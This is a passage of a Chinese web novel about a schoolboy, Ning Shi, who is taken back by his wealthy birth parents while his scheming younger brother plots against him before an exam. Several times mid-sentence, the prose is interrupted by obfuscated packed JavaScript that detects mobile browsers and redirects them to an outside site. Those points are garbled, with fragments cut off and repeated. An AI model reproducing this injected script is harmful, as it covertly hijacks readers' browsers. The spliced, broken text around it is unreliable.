是因为看到他成绩变好了,有了继承家业的希望了吗? 宁瑜无意识地揉着纸,脑中种种想法闪过,最后认定就是这个原因。 那如果宁时成绩不好了,父母是不是还会想从前一样,把目光移回自己身上呢? 这个念头一旦出现,就像野草一样疯长,占据了宁瑜的大脑。 都是高中生,也会有各个圈子的朋友,宁瑜自然也知道,实验中学的期中考试已经结束了。 随之而来的是十校联考。 很巧,宁时所在的实验中学和他所在的博知中学,都在联考行列当中。 宁瑜看着自己的一个抽屉。 里面都是他的文具,有平时能用到的,也有稀奇古怪的。 宁瑜脑海中渐渐浮现了一个计划。 …… 期中考试的成绩很快出来了,宁时这次依然是前五百,不过已经离前四百很近了。 江晏也依旧是前三百。 他们的成绩渐渐趋于稳定。 啾啾对江晏说:“你别着急,实验中学生源挺好的,别看宁时还是四百多名,但放出去可以了。” 江晏:“还是孩子有基础。” 啾啾:“你看看你现在的外貌,说这话好奇怪哟。” 真少年宁时和大龄少年江晏去上课了。 他们这几个月的生活非常稳定,穿梭在家,学校,和兼职的书店,过着平静的日子。 直到今天坐在教室里,两人听见讲台上周莉说:“期中考完了,该开家长会了。” “星期三晚上开会啊,正好周四周五联考,让你们保持一下状态。” 宁时痛苦捂脸。 江晏则是拉着啾啾问什么是家长会。 在得知家长会的真相后,江晏也有点自闭。 他扯了张草稿纸,写道:“我家长来不了,你呢”,塞给宁时。 宁时用余光扫了眼江晏,悄悄打开纸条,写:“我不跟他们说,就当没有这事。” 江晏:…… 他又看见宁时继续写:“老班问起来就说他们在工作,忙不开。” 江晏感觉此法非常具有可行性,于是笑了笑,在桌面下给宁时比了个大拇指。 结果他下课就笑不出来了。 因为周莉单独把他和宁时叫出来了。 周莉怜爱地看着他俩,说:“你俩的情况我知道。” 又看向宁时:“但是家长会的通知是发在家长群里的,都能看见。” 宁时和江晏眼前一黑。 周莉叹了口气:“时时啊,你父母之前可能也是着急,现在你进步这么大,应该是要来的。” 宁时:“……老师,你看我离开他们就提分了。” 又拉了把江晏:“江同学帮了我很多。” 江晏被他带的身子微微倾斜,并适时对周莉露出了乖巧的微笑。 周莉有些苦笑不得了:“嗯,我都看在眼里呢。” “但是宁时啊,你现在还在读书呢,以你现在的成绩,以后也会上个不错的大学。” “这些事,一个人做是非常非常困难的……” 宁时眼神闪烁了一下,又拉了把江晏,接话笑道:“对啊老师,有江晏陪着我呢。” 周莉被气笑了:“你别顾左右而言他,你知道我想说什么。” 宁时慢慢收敛了笑意。 周莉又叹气了:“你的家庭能给予你更好的支持,可能让你站到更高的地方。” “他们虽然有些事做得不对,但肯定是愿意为了你付出的。” 说到最后,周莉揉了揉眼睛:“我希望你们好好的啊,回去好好想想吧。” 语毕,转身离开了。 宁时看着她离去的方向,对江晏道:“她是班主任,只能这么说。” “道理我都知道,也知道她是为了我好,但还是别扭。” 江晏抬起胳膊,拍了拍他的肩:“唉,随机应变吧,看看他俩到底来不来。” 又凑得离宁时近了点,微微仰头:“书店刚刚发了工资,不如我们去吃旧厂炸鸡?” 宁时的思维还挣扎了一下:“希望不要来……你刚刚说的是哪里的炸鸡?我想吃旧厂的。” 江晏微微撇嘴:“你没有听我讲话!我刚刚说的就是旧厂炸鸡。” 宁时:“好嘛,那想到一处去了。等放学吃去。” …… 深秋的天已经很冷了,江晏戴着宁时灰色的围巾,和围巾原本的主人一起坐在炸鸡店里。 江晏抽了下鼻子:“好香。” 宁时靠着椅子背:“嗯,这店有快二十年了吧,老店了。” 很快,他们点的炸鸡做好了。 宁时:“在这里吃还是回家吃?” 江晏想了想:“回家吧。” 炸货店油烟大,他不太想洗衣服。 宁时点了点头,拎着那袋炸鸡推开了门。 二人刚从店里出来,就被寒风糊了满面。 江晏挨到宁时身边,一边伸手去够那袋炸鸡:“给我拿着,我想暖手。” 宁时看了他一眼,又从头到脚扫视了他一圈,突然把包裹严实的炸鸡放进了羽绒服的口袋里! 江晏:? 宁时笑了:“不给你暖。” 江晏:……很好,在他的关怀下,这小子比刚捡回来时活泼了很多。 也胆大了很多!都敢调侃他了! 于是江晏也对宁时咧嘴一笑,举起一只手,以迅雷不及掩耳之势塞进了宁时兜里。 幸亏男式羽绒服的口袋做得很宽敞。 现在这个倒霉口袋里面,有宁时的手,热气腾腾的炸鸡袋子,和江晏的手。 宁时愣了下,在兜里很快抓住江晏的手:“想蹭热气,没门!” 江晏只觉得右手上一凉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902326|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛挨了块玉:“你嘴上说着没门,但手却不送开是什么意思?话说这炸鸡真热乎都暖得我手上有点痒痒。” 宁时似乎感觉他的手手感不错,顺势捏了下,像在捏猫的肉垫,又很快松开了:“是吗,还没把我捂热乎呢,你就占上了。” 江晏笑眯眯:“那我给你暖暖啊?” 宁时似乎噎了一下,干巴巴道:“不用了。” 江晏没心没肺地去够他的手:“真不用啊?” 宁时的耳朵在寒风中微微泛红:“真的不用!” 说完,作势要把炸鸡袋子掏出来:“给你,你暖着去。” 被江晏一把按了回去:“唉唉唉不用——在你兜里放在就好,能暖和身上,我手就这样放在。” 宁时沉默了。 他看了眼江晏,江晏对他坚定地点了下头。 宁时:……行吧,就这样吧。 他把手拘谨地放在袋子上,和江晏的手保持着一段距离。 实话讲,明明和江晏在一起住很久了,但宁时此时不知道为什么,感到有那么一丝尴尬。 他弄不清楚这种感觉到来源,只好决定暂时与江晏保持距离。 江晏却完全没有理会宁时的意图。 他们并肩往家的方向走去,江晏的手却不闲着,有一搭没一搭地戳着宁时的手。 江晏的手已经在他们刚才的打闹中暖和起来了,碰到宁时的时候,带来一股恰到好处的温度。 宁时只感觉那温度从自己的手心开始,沿着胳膊一路攀升,直到心脏的位置。 ……感觉更奇怪了。 他和江晏沿着铺着各色板砖的马路慢慢走着。 他们路过形形色色的人。 有提着某某教育机构字样布袋的老人。 有拎着袋子的主妇,黄瓜和芹菜的轮廓隐约透了出来。 还有一对小情侣。 男孩胳膊下挎着一个小巧的包,应该是女孩子的。 女孩子扎着高马尾,马尾随着她的脚步一弹一弹的。 她还抱着一袋开了口的薯片,时不时捏起一片喂给男生。 宁时看着他们,感觉似乎要抓住什么想法的尾巴了。 此时,他感觉自己揣在兜里的手微微一凉,还伴随着轻微的拉扯感。 宁时下意识地低头,发现是江晏把手从他的口袋里抽了出来。 虽然刚刚两个人贴着时有点尴尬,但江晏此时不挨着他了,宁时又莫名感到失落。 他向江晏递过去一个疑问的眼神。 江晏读懂了,抬起下巴点了点前面:“修路呢,一前一后吧,别并排了。” 宁时“哦”了一声。 又赶快走了几步,走到江晏身前。 天渐渐黑得早了,他们走啊走啊,走到华灯初上。 头顶黄色的灯把他们的影子拉得很长。 江晏在原来的世界里没有仔细观察过这些。 他看着自己和宁时的影子叠在一起,随着二人的步伐,在整齐的灯火间消散了一轮又一轮。 江晏于是对啾啾说:“有点好玩欸。” 啾啾:“……你多大了。” 江晏继续说:“等我回去了,给山上也装上这些。装高点,才有这效果。” 16. 密谋 宁时在和江晏一同享用完那份炸鸡后,愉快地进入了梦乡。 梦境不知道是从什么时候开始的,时间线和剧情是同样的乱七八糟。 宁时知道自己做梦了,但做梦中的人常常感觉梦境十分合理。 宁时也不例外。 宁时知道自己现在是一个修真的人,被某个世家收养了。 他应该是撞破了世家的某个秘密,准备跑路。 宁时拉紧脸上的面罩,轻巧地从屋檐上落下来。 没有发出声音。 旁边的花草丛中却传来一声轻响。 宁时暗道一句坏了。 果然,数不清的家仆从不知名的角落像潮水一样涌出。 他们的瞳孔和手上的利器一样,在月光下泛着冷冷的光。 宁时突然意识到,这个梦后面的发展趋势怕是不太好。 他刚有这个想法,就感觉自己的意识好像被抽离到了半空中。 地面上他和家仆的身形都静止了。 花叶也不摇曳了——风也消失了。 宁时昏沉地想,这个梦换个方向吧,不想做噩梦。 于是他的意识陡然一沉。 宁时再次睁开眼睛,面前是轻颤的牡丹——他又回到了梦境之中。 他微微抬眼,看向刚才那些家仆的位置。 那些家仆都还在。 只是衣服好像变了,带了些颜色,看起来是有什么重要的仪礼。 面上的神情也变得好了些,带着笑,但这笑像是画在脸上的,透着一股说不出的僵硬。 他们手上依旧拿着利器,渐渐向宁时聚拢,口中却异口同声道:“恭喜公子——” 宁时这才发觉他右手好像还拉着一个人。 他们十指相扣。 即使是在梦里,宁时也很好奇。 他拼命想侧过头看看对方是谁,可却总也扭不过头。 按道理来讲,这也是做噩梦的发展趋势。 但宁时却莫名很安心。 他和旁边的人好像认识很久很久了。 家仆们一边说着吉祥话,一边更加聚拢过来。 现在他们距离宁时不过一臂的距离。 寒光一现,这些面上依旧带笑的家仆纷纷举起了利器,欲刺向中心的两人。 宁时:……所以还是要做噩梦是吗! 他却突然被身边的人抱住了,有淡淡水生植物的香气浮动。 朦胧中,宁时想起了从前某次在养父母家过年,他们从花市上买了一盆水仙花,是少见的红色。 别的宁时想不起来了。 身前的人拥着他,和地面一起下沉。 他们在无尽的黑暗中坠落,他们头顶是铁器相交的铮鸣。 ——在强烈的失重感中,躺在床上的宁时猛然睁开双眼。 一场含义不明的梦境结束了。 宁时大口呼吸着。 屋子里的窗帘还是老式的,拉不严,会留着一条缝隙。 外面是昏沉的天光,看不出来几点。 宁时恢复了些力气,摸索到自己的手机,按亮。 即使是在最低亮度的模式下,屏幕也有些刺眼。 宁时眯起眼睛,看到现在不过是凌晨三点。 他反手将手机倒扣,闭眼。 较强的明暗对比之后,眼前出现了大团变幻的花纹。 身边还有江晏缓慢的呼吸声。 这一切都让宁时安心下来。 他再次安稳地睡了,并且无梦到天明。 在宁时和江晏买炸鸡的同一个晚上,宁家也发生了一些事情。 为了让学生们更好调整状态,准备十校联考,宁瑜的学校给大家放了一个星期的假。 因此,这个时候,宁瑜也在宁家。 自从上次宁瑜和父母发生争执之后,宁瑜安生了两天。 宁陟岳和代玉兰对此很是满意,全然没有意识到宁瑜在他们看不见的地方偷偷在计划做坏事。 在这个晚上,宁瑜准备开始行动了。 他坐在自己的房间,听见楼下传来开门的声音,和代玉兰的说话声—— 宁瑜知道,是父亲回来了。 两个最具有话语权的人都在家。 宁瑜深吸了一口气,下楼。 宁陟岳听到脚步声,抬头看了眼楼梯口:“瑜瑜?” 宁瑜按捺住心情,淡淡“嗯”了一声,脚步不停,走到父母两人所在的客厅。 又自然地坐在沙发上。 代玉兰挑了下眉毛:“你好像有话要说。” 听到此处,宁陟岳又看了宁瑜一眼:“有话直说。” 宁瑜咽了口吐沫,声音有点哑:“我想了想,还是把时哥接回来吧。” 宁陟岳:“想通了。” 于此同时,代玉兰道:“你可别憋着坏心思偷偷欺负人家啊。” 宁瑜的声音略微高了点:“我没有,我是真想把哥哥接回来。” 代玉兰和宁陟岳不说话了,齐齐盯着他。 宁瑜硬着头皮说:“他本来就是我亲哥。而且吧,这几个月他进步好快,我们又都是高中生,我想找他问问题学习学习。” 宁陟岳赞许地颔首:“我们家瑜瑜长大了,懂事了。” 宁瑜微微低头,隐藏着自己的表情。 此时,代玉兰道:“说起来最近我和你爸也想着把时时接回来呢,只是——” 她转头看向宁陟岳:“时时不太配合。” 就等着这句话了。 话题的发展和预计的完全一致。 宁瑜暗喜,一边道:“不太配合?” 代玉兰道:“是啊,不回我们消息。” 宁瑜故作犹豫:“这么说的话,我有个想法。” 他看着宁陟岳和代玉兰的脸色,发现没有反对的意思,便说了下去。 “不如我们在实验中学校门口等着,等宁时下了晚自习,一起把他劝回去?” “人多力量大嘛。” 宁陟岳还在犹豫:“可是……” 却被代玉兰打断了:“我感觉可以,我们一家子还有得他拒绝吗?” 宁陟岳想了想,也是这个道理:“那就明天吧。” 于是,还在和江晏快乐生活的宁时,并不知道自己第二天将会面临怎样的剧变。 宁时和往常一眼醒来,和江晏在楼下的早餐店吃了份油条后,照常上学去了。 讲台上,周莉絮叨着。 “大家重视起来这次考试哈,看看自己和别的学校学生的差距……” 一天的时间很快过去,在晚上大课间,宁时和江晏吃了食堂的馅饼。 在第三节晚自习前,江晏对宁时说:“我好像有点饿了。” 宁时:“我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁时顺着他的目光看过去,很快就看到了目标。 他像被扎了一下,匆忙移开目光,往江晏身后退了半步,发出了低低的一声“麻烦了。” 江晏叹了口气:“所以你认识?不会是我想到那样吧。” 宁时长长“呃”了一声,道:“就是你想的那样,他们是我的亲生父母,还有宁瑜。” 江晏听他这么说,拉着他的袖子就要转身:“把头扭过去,我们赶紧溜!” 明明快要到了冬天,宁时却感到背后开始变湿了。 他顺着江晏的动作,一起转身。 江晏拉着他往离家相反的方向挪动:“以防万一,我们先绕下路。” 宁时刚要“嗯”,身后传来了喧哗声。 而且喧哗声有越变越大的趋势。 由于宁家人就在身后,宁时内心不安,决定还是扭头看一下。 这时,喧哗声也渐渐清晰起来。 有人高马大的男高中生皱着眉:“挤什么呢。” 熟悉的声音传来:“同学不好意思哈,好久没见我家孩子了,我来接他回家。” 宁时眼角直跳。 在人潮涌动的空隙中,那道声音来源的目光终于和他的眼睛对上了。 宁陟岳在人群中站着,身边是代玉兰和宁瑜。 此时,他们和宁时之间不过一米半的距离。 宁陟岳西装革履,抬起一只手,对宁时招了招: “该回家了,时时。” “我们可都来接你了。” 17. 分离 宁陟岳说话时,距离江晏和宁时都不远。 江晏也听到了这句话,震惊回头。 然后就看到宁陟岳一家已经挤到了宁时身前,两方对峙着。 此时,宁陟岳也注意到了江晏。 他脸上的笑很是礼节,又带着一丝居高临下的傲慢:“想来这位就是江同学吧。” 宁陟岳身体一动没动,目光不动声色把江晏全身上下扫了一遍: “谢谢你最近帮我们照顾时时了哈。” “现在我和孩子妈妈工作忙完了,感觉孩子还是接回来吧,毕竟时时有自己的家。” “他总在外面这么住着,多不像话,是吧。” “江同学也是个懂事的孩子,肯定能理解的。” “宁时我们就接走了啊。” 宁陟岳说完,就上前要拉宁时的胳膊。 他刚才一番连珠带炮,江晏甚至来不及说话。 江晏脑海中的啾啾:“好气哦,他真没礼貌。” “是把你当成免费保姆了吧。” 江晏此时心情很差,他晚上的泡面泡汤了,刚刚有起色的任务也有了泡汤的迹象。 如果是在他原来的世界,根本不会遭遇这种事。 即使有了,以他的修为,打过去就好了。 可是现在他和宁时只是两个穷学生,平时还吃得不好。 武力值比不上对面。 那要把宁家道貌岸然的伪装当众捅破呢? 江晏犹豫了一下,看向宁时。 少年人的脸皮薄,他无权替宁时做决定。 宁时低着头。 他们拉扯的时间有点久了,此时周围已经有人渐渐聚拢,隐约形成了一个半圆。 他们是焦点。 更坏的是,周围还有几个人举起了手机。 江晏脑子里嗡地一声。 现在网络这么发达,要是事情搞大了,宁时还要不要高考了? 宁时的人生要是完了,他江晏回原世界也是遥遥无期了。 所以,谁要整宁时,就是在整他江晏。 江晏正欲走到一录像的人身前阻止,并没有发现宁时注意到了这边的动静。 宁时扬声:“江晏,回来。” 江晏不明所以地转头。 宁时和他目光撞了一下,却又很快底下头。 小声说:“……我还是和他们回去吧。” 他怕江晏误会,又语速很快地补充着:“我还会好好学习的,每天坐在一起。” “在家里你也总照顾我,我回去住,你有更多时间能学习了!” 江晏的脸色是宁时从来没见过的难看。 但是江晏最终对他缓缓露出一个笑脸,摆了摆手:“拜拜啦,明天见!” 宁陟岳也笑了,拉着宁时缓缓转身。 江晏也往相反的方向离开了。 人群渐渐散去。 宁时坐进了宁家的保姆车里,他心中很乱。 他顾不上看宁陟岳和代玉兰的脸色,也没功夫揣摩他们的心理。 宁时只是惴惴不安地想着,江晏怎么办呢。 江晏说他自己胆子小,要有人陪着他住。 可是今天江晏要一个人住了。 又是晚上,他租的房子楼道的灯还坏了,上楼会害怕的吧。 自己也不知道需要在宁家住多久。 此时,宁时的手机微微振动了一下。 他怀着一种隐秘的期待,按亮了屏幕。 真的是江晏的消息。 江晏说: 你尽量好好和家里相处,别生气。 他们实在气人,就跑出来吧,你怎么舒服怎么来。 不要太想念我。 我待会儿回家要煮两份面,把你那份吃掉,哈哈。 …… 满屏都是江晏看起来没心没肺的碎碎念。 宁时就突然感觉心脏轻轻抽了一下,连带着鼻子也有点酸。 他打字:“好的。” “有事我随时和你说。” “晚上怕黑的话,就打开灯。” “……还是害怕的话,可以给我打语音。” 屏幕另一头的,已经忘了自己还有怕黑人设的江晏:…… 江晏刚才分明是有些悲伤,有些怅然的,此时看见宁时的回复,已全部转化为了尴尬和愤怒。 于是他又获得了啾啾的无情嘲笑。 而此时,宁家的保姆车上,也终于有了动静。 宁陟岳回过头,冲着坐在最后一排的宁时和宁瑜道:“回来了,好好相处。” 代玉兰也扭头:“不许吵架打架。” 宁时没有回应。 宁瑜却应了一声。 宁时猝不及防听见了他这一声,震惊了,忍不住扭头看向他。 这真的是自己那个天天想成为真正独生子女的亲弟弟? 宁瑜好像没有看到宁时震颤的瞳孔,他面向宁时,乖巧道:“哥,我以前没转过弯来。” “之前的事,我给哥哥道歉。以后我们好好相处。” 宁时恍惚了。 他看着宁瑜毫无破绽的笑容,看着宁陟岳和代玉兰赞许的目光,艰难地咽了口吐沫。 最终,宁时发出了一声轻轻的“嗯”,作为回应。 那一瞬间,他好像听见了车里的另外三个人如释重负的呼气声。 这让宁时感到不安。 宁陟岳和代玉兰的转变他可以理解,但宁瑜的态度实在反常。 宁时无意识地扣着手。 旁边的宁瑜却对他亲热极了,一口一个“哥哥”,甜甜地叫着。 还问了他一些学习上的问题。 宁时后背直冒冷汗,怀疑宁瑜要么是吃错药了,要么就是要搞幺蛾子。 以他对宁瑜的了解,后一种可能性更大。 在宁时的不安中,一行人回到了宁家。 宁时决定不节外生枝,他换了鞋,准备上三楼,去他原来的小房间。 这时,他身后传来一道声音:“哎呀,错了!” 宁时回头,看到了笑眯眯的张妈。 张妈见他停下了脚步,笑到:“小时先生啊,先生和夫人在二楼给你新收拾出来一间屋子。” “又宽敞又明亮,家具也好。” 宁时有点没反应过来。 还是代玉兰上前,拉着了宁时的手。 宁时反射性地抖了一下,但并没有挣开。 代玉兰拉着他,给他介绍新卧室。 “这个书桌和床都是实木的……” “给你买的乐高放在这里了。” “……衣柜,还有点空。明天带你和瑜瑜逛商场买点新衣服,后天大后天就收收心考试了哈。” 宁时恍惚着点头。 到最后,代玉兰应该是看出了他有些心不在焉,便带宁瑜离开了房间。 只留下宁时一人。 宁时呆呆地做了一会儿,起身,拆开了一盒乐高积木,手里拿着拼装说明书,却是一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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隔着无数高楼大厦,在城市另一头,江晏的手机亮了。 江晏趴着床上,打开手机就看见了宁时噼里啪啦发来的消息。 江晏想了想,猜测到:“你父母肯定是在弥补和你的关系。” “应该是看你成绩进步了。” “但是宁瑜吧……按照你的形容,我总觉得他在憋着什么坏水。” 江晏的推测得到了宁时的充分赞同。 他们就这样聊着天。 聊着聊着,江晏渐渐感觉有点不对劲了。 宁时并不是一个话多的人,但他今天聊的确实有点多了。 而且他们现在已经很熟了,宁时经常会给他发语音条,今天却不发了。 像是有什么话要说,又要掩饰情绪一样。 江晏简单思考了一番,认为宁时是…… 回到宁家情绪不好想找他聊天又不想背看出来。 于是江晏又一整个父爱大爆发。 就在他想着怎么体现一下对宁时的安慰时,对面发来一条消息。 宁时:“我也挺喜欢你的,江晏。” 江晏一下从瘫着变成坐直了,并握着手机发出尖叫。 “啊啊啊他在讲什么——” 18. 心意 江晏持续发出尖锐的爆鸣。 啾啾的虚影从他身体里钻出来,跳到他的肩头:“什么事能让你失态成这样。” 江晏说不出话,哆哆嗦嗦地伸手指向手机屏幕。 啾啾瞄了一眼,沉默了。 然后突然暴起,飞上了江晏的头顶:“我早就提醒过你这件事!你就说是不是吧!” 江晏:…… 这确实,他无法反驳。 啾啾还在持续输出:“都提醒过你了,你心大的跟个什么似的。” 江晏微弱反驳:“……可理论上讲,我和宁时不应该是一个人嘛,怎么会发生这种情况。” 他顿了顿,不知想到了什么,突然有精神起来,燃起了希望:“这个喜欢没准就是友爱呢!” 啾啾斜眼看着他。 江晏越说越自信:“宁时这孩子吧,话少,嘴笨。” “可能他想表达的是另外一个意思,让我来问问他。” 啾啾:“那我祝你成功吧。” 江晏发了一个狗头:“你怎么个喜欢我法?” 他发出去,才发现距离宁时发的最后一条消息已经过去了四分钟。 ……小问题,江晏这么安慰着自己。 此时,他的手机叮了一声。 宁时居然秒回了,像是早有准备。 江晏一看手机,就被几行密密麻麻的字糊了满眼。 ——果然是早有准备的吧! 他腹诽着,一边看文字内容。 宁时说: “不想住在这里,想和你住一起。” “想天天看见你。” “高考结束了,想一起出去玩。” 江晏:…… 他盯着那句“想天天看见你”。 啾啾看热闹不显事大,拖长了声音道:“天~天~看~见~你~呢哈哈哈哈!” 江晏默默举起双手,堵住了耳朵。 这次,啾啾的声音出现在了脑海里:“都开始做堵耳朵这种无用功了,看来你慌得很嘛。” 江晏面无表情地放下双手,冷漠道:“我想一个人静静。” 啾啾:“我可不知道宁时改名成宁静静了。” 江晏:…… 这上古神器也太智能了吧!为什么还会玩梗啊! 他试图岔开话题:“我感觉也许没有你想的那样……” 啾啾用黑豆一样的眼睛盯着江晏。 江晏:“……朋友之间也会有这种感情的,也会这样说的吧!” “一定会这样说的吧!” 啾啾:“行吧,你开心就好。” 江晏捂额,准备将装傻进行到底。 他说: “哈哈我们是同桌天天就呢见到呢。” 这次,宁时回复给他一串省略号。 江晏又怕拒绝得太狠,影响宁时心态,硬着头皮痛苦写到:“高考完了,想去哪里玩?” 宁时:“去南方吧,我还没去过。” 江晏想到了从前的合江宗,山上总是湿漉漉的。 杂役们的屋子角常常会长一些霉斑。 但是去玩的话,不久住,都是无妨的。 于是江晏打字:“好呀,你定个城市吧。” 宁时:“我还没想好呢,反正有时间慢慢想。” 他们这样有一搭没一搭地聊着,最后互道了晚安。 一夜无梦。 第二天,代玉兰真的带着宁时和宁瑜出去玩了。 他们去了城市里最大的商圈。 宁时:…… 这个地方他其实也熟悉,因为他和江晏打零工的书店就在这边。 但是代玉兰带他进去的店铺,却是他没有去过的。 那是他隔着一层玻璃,看到里面一顶帽子就要五六百的牌子。 宁瑜却好像来惯了这里。 他对着货架上的衣服评价了一番,意思是上新的款式不如之前几次好看了。 于是代玉兰带着他们换了另一家店。 宁时沉默地跟在这对母子身后,他想尽量降低自己的存在感。 但这是不可能的。 在宁瑜试了一件版型很不错的毛衣后,代玉兰又要过来一件。 她塞给宁时:“你也去试试。” 又指了指试衣间。 宁时看看她,又看了眼宁瑜,抱着衣服过去了。 他坐在试衣间的椅子上,终于得到了一次长叹口气的机会。 他用食指和拇指撵了下新衣服的领口。 触感很柔软。 他刚才听导购说是纯羊绒的。 确实是比自己平常穿的手感更好。 宁时慢吞吞地换上了这件灰色的毛衣。 身上也没有往常被扎的感觉了。 宁时低下头,看着这件新衣服,思维漫无目的地游荡。 一切都看起来那么幸福。 有陪着他的父母,终于懂事的弟弟。 有更加富裕的物质条件。 这理应就是他梦寐以求的家庭生活了。 但是还像是一场梦。 宁时总有一种不真实感。 这时,试衣间门外传来渐进的脚步声,和宁瑜的声音: “哥,你试好了嘛?” 宁时这才回过神来——他好像在试衣间里磨蹭了太久。 于是宁时急匆匆地应了一声,打开门出去。 一旁,导购小姐快速地围上来,夸他把这件衣服撑起来了。 宁时有点不好意思了。 他看了眼代玉兰,代玉兰微微对他笑了一下。 她旁边的宁瑜在低着头打字。 宁时便转身,看向镜子。 他突然意识到,自己没怎么注意过的外貌,其实应该是……不错的吧。 好像有什么年轻的东西,在他心里活过来。 虽然依旧充满了不确定。 代玉兰点头:“给你们一人一件吧。” 又对着导购说:“包起来。” 宁时再次从试衣间换上自己的衣服出来时,感觉有点恍惚。 羊绒的触感还停留在他身上。 这一瞬间,他突然在自己衣服的摩擦中,突然想起了周莉说过的话。 周莉说得没错,他的亲生父母真的能给他提供更好的平台。 他回去的话,也许……真的能提分吧。 然后考一个好大学。 再远一点,找一个好工作,挣很多很多钱。 然后他要给江晏花很多很多钱。 …… 宁时陷入了要不要回家生活的纠结之中。 但他没有意识到,其实这件事的选择权,从来没有在他手里过。 一天结束,代玉兰开的车后备箱里装满了大大小小的袋子。 张妈一趟又一趟地把东西搬上楼,搬进宁时和宁瑜的房间。 宁时的新屋子不算太满,经过这一天的购物,居然变得充实了不少。 看上去多了几分人气,像是真有人在这里生活了。 此时屋外华灯初上,已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁时又快速扫了眼其他信息,发现没什么正事,于是打算收拾明天的文具。 突然好像有一道雷劈在他头顶。 宁时意识到——自己在宁家没有任何文具和资料! 都怪那天宁家人去学校逮他时时间晚了,他和江晏两手空空地快乐地走在路上,突然就被劫到了宁家。 宁时:…… 难道,他要找宁瑜借文具吗?! 算了,这场面太美了。 宁时打开和江晏的聊天界面,打字:“你是在6考场吧,我没带着文具,给我带点呗,明天我去6考场门口找你拿。” 宁时打完字,正要按下“发送”键之时,他的屋子门外传来了敲门声。 宁时扬声:“谁?” 居然是宁瑜的声音:“哥哥,我是宁瑜。” 宁时一下子精神起来。 他不懂宁瑜为什么找他,也不想给宁瑜开门。 但伸手不打笑脸人,宁时试图搪塞过去:“我准备洗澡睡了。” 门外却传来一声轻笑,“哥,这才几点啊。” 宁时被拆穿了,他干脆直接问:“什么事?” 宁瑜的声音依然很有耐心: “想起了哥哥好像没来得及带文具,送过来点。” 19. 圈套 听到宁瑜这么说,宁时愣了。 他下意识地低下头看那条还没来得及发给江晏的消息。 ……考试当天的早上本来时间就紧,慌慌张张的。 还是不要打扰江晏了吧。 宁时这样想着,熄灭了手机。 他甚至来不及细想宁瑜居然会注意到他没有带文具这个细节,便发出了声音:“好啊,进来吧。” 门把手微微动了一下,宁瑜露出了半张脸。 他笑道:“我过来了啊。” 宁时点头。 宁瑜便大摇大摆地走进他的屋子。 宁时看到他手上还拿着一个透明笔袋,里面装着东西——居然真的是给他送文具来了。 宁瑜坐在宁时的床边,正对着宁时。 宁时便得了机会仔细打量宁瑜一番。 此时,宁瑜也在打量着他。 这对亲兄弟的目光交汇了片刻,又各自移开。 宁时盯着虚空中的一点,想: 好尴尬。 明明两个人之前都已经吵成那样了。 甚至宁瑜还让人找过他麻烦。 现在宁时不知道要怎么陪宁瑜演这出兄友弟恭的戏。 最后,还是宁瑜打破了沉默。 他把笔袋放在两人之间的桌上,往前推了推,道: “给你的文具。” 宁时:…… 实话说,这气氛有点诡异。 宁时扫了一眼那个透明笔袋。 里面确实是几只笔,一个直尺,一块橡皮,还有一盒铅。 宁时又看着宁瑜那张脸,被一群黄毛围堵之事涌上心头。 ……宁瑜给他示好,是想放松他的警惕吧,没准后面憋着什么坏招。 宁时的思考能力渐渐上线。 他问:“你怎么知道我没有文具?” 宁瑜又笑了,几乎是毫不迟疑地回答了他。 “我观察能力好啊。” “那天和爸爸妈妈一起接你回家,你身上可以什么都没有带着。” 宁时慢吞吞“哦”了一声。 行吧,姑且算一个合理的解释。 此时,宁瑜站起了身子。 宁时身体下意识紧绷。 宁瑜却脚尖一转,向着房门口的方向走去了。 一边道:“我就是来给你送点东西。” “知道你烦我,我这就走。” 宁时有点憋不住了:“你知道我烦你你还专门过来?” 宁瑜停下脚步,摊手,叹了口气: “可是我更担心爸爸妈妈看到明天我们去考试,你没有文具,责怪我照顾不周呢。” 又是一个非常合理的解释。 称呼间还带着一种远近亲疏的扎人。 宁时被不轻不重地刺了一下,反而安心了些。 熟悉的配方,熟悉的味道。 还是那个他讨厌的宁瑜。 对面,宁瑜解释完这句话,转身就走,动作利落地不行。 在他身后的宁时:拜拜了您。 待到宁瑜的身影消失在楼梯间,宁时从椅子上弹起来,一把关上房门。 并上锁。 接着又向后退,欲倒在床上。 目光掠过几处细微的褶皱,宁时微微皱眉,这是宁瑜刚才坐在床上留下的。 宁时便侧了下身子,躺在了床的另一边。 一面用手把文具袋够下来。 宁时想着,就在24小时之前,他和江晏还在向着回家一起在床上瘫一会儿。 结果现实是宁瑜来他床上坐了一会儿。 宁时手上微微用力,拉开了文具袋的拉链,取出一支笔,在纸上划拉了两下。 他一直有考前检查文具的习惯。 这是一根弹簧笔,是宁时没有见过的牌子,0.5粗细,黑色。 宁时又拔开了下一只笔的笔帽。 如此,宁瑜给他的三只黑笔,都正常。 宁时将目光转向最后剩下的一根涂卡笔。 石墨在纸上留下了一道划线。 宁时却突然想起,已经在校园里流传了十年的,某位学长用了假涂卡笔芯导致选择题全部没有分的故事,或者事故。 